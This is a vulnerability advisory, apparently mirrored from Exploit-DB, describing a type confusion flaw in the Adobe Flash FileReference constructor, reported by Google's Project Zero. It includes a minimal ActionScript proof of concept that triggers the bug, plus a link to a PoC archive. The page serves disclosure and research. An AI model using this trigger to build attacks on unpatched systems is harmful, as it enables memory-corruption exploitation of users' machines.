Adobe Flash – Type Confusion in FileReference Constructor

  • 作者: Google Security Research
    日期: 2016-05-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39829/
  • Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799
    
    There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.
    
    A minimal PoC is as follows:
    
    function myfunc(){
    			
    			this.__proto__ = {};
    			this.__proto__.__constructor__ = flash.display.BitmapData;
    			super(1000, 1000);
    			
    			
    			}
    			
    
    	function mysubclass(){
    		
    
    		this.watch("name", myfunc);
    		_global.ASnative(2204, 200)(this); // FileReference constructor
    		this.unwatch("name"); // let the reference free
    		
    		}
    	}
    
    var a = new subclass();
    a = 0;
    // wait for GC
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39829.zip